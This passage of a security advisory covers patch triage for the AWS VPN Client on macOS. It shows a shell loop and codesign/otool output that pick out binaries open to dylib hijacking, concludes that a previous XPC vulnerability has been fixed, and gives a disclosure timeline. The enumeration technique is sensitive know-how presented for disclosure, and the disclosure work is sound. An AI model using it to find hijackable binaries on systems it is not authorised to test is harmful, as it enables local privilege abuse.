FILES=$(cat results.txt | grep -i No_Lib_Validation | awk '{$1=""}1' | awk '{$1=$1}1' )

for f in $FILES; do
    echo " "
    echo $f
    codesign -dvv --entitlements - $f 2>&1 | grep -e 'Identifier=' -e 'Format=' -e 'CodeDirectory=' -e 'Authority=' -e 'Timestamp=' -e 'TeamIdentifier='
  
    otool -L $f | grep -i -e loader_path -e executable_path -e rpath
done

IFS=$SAVEIFS

A number of Mach-O binaries signed by AMZN Mobile LLC which were vulnerable to dylib hijacking and thus had a hardened runtime bypass were identified. No version was found which had the  com.amazonaws.acvc.helperapp identifier and was vulnerable thus no immediate bypass for the implemented XPC checks communication with the XPC service. 

/Users/testmac/Desktop/AWS_VPN/AWS_VPN_Client_3.5.0/AWS_VPN_Client.pkg/Payload/AWS VPN Client/AWS VPN Client.app/Contents/MacOS/AWS VPN Client
Identifier=com.amazonaws.acvc.osx
Format=app bundle with Mach-O universal (x86_64)
Authority=Developer ID Application: AMZN Mobile LLC (94KV3E626L)
Authority=Developer ID Certification Authority
Authority=Apple Root CA
Timestamp=8 Jul 2023 at 21:32:10
TeamIdentifier=94KV3E626L
	@executable_path/../MonoBundle/libSQLite.Interop.dylib (compatibility version 0.0.0, current version 0.0.0)
...

This can be confirmed with the following two commands. The codesign command views the Mach-O's entitlements. As com.apple.security.cs.disable-library-validation was present the app would load unsigned dylibs if a hijack was identified.

$ codesign -dv --entitlements - '/Users/testmac/Desktop/AWS_VPN/AWS_VPN_Client_3.5.0/AWS_VPN_Client.pkg/Payload/AWS VPN Client/AWS VPN Client.app/Contents/MacOS/AWS VPN Client'
Executable=/Users/testmac/Desktop/AWS_VPN/AWS_VPN_Client_3.5.0/AWS_VPN_Client.pkg/Payload/AWS VPN Client/AWS VPN Client.app/Contents/MacOS/AWS VPN Client
Identifier=com.amazonaws.acvc.osx
Format=app bundle with Mach-O universal (x86_64)
Authority=Developer ID Application: AMZN Mobile LLC (94KV3E626L)
Authority=Developer ID Certification Authority
Authority=Apple Root CA
Timestamp=8 Jul 2023 at 21:32:10
Info.plist entries=17
TeamIdentifier=94KV3E626L
Runtime Version=12.3.0
Sealed Resources Version=2 rules=13 files=320
Internal requirements count=1 size=184
[Dict]
        [Key] com.apple.security.cs.allow-jit
        [Value]
                [Bool] true
        [Key] com.apple.security.cs.disable-library-validation
                [Bool] true
$ otool -L '/Users/testmac/Desktop/AWS_VPN/AWS_VPN_Client_3.5.0/AWS_VPN_Client.pkg/Payload/AWS VPN Client/AWS VPN Client.app/Contents/MacOS/AWS VPN Client'
AWS_VPN_Client.pkg/Payload/AWS VPN Client/AWS VPN Client.app/Contents/MacOS/AWS VPN Client:
	/usr/lib/libcompression.dylib (compatability version 1.0.0, current version 1.0.0, weak)
	@executable_path/../MonoBundle/libSQLite.Interop.dylib (compatibility version 0.0.0, current version 0.0.0)

Despite these possible dylib hijacks, it would not be possible to communicate with the XPC service due to the Identifier not matching the XPC server's requirements. This patch triage has identified that the previous XPC vulnerability has been adequately remediated.

 

Disclosure timeline

  • December 25, 2023 -- Vulnerability Discovery
  • January 16, 2024 -- Attempted to reach out but the AWS public key had expired (2024-01-14)
  • January 26, 2024 -- Report provided to aws-security@amazon.com 
  • January 30, 2024 -- AWS started working on a fix
  • February 16, 2024 -- Fix published

Further Information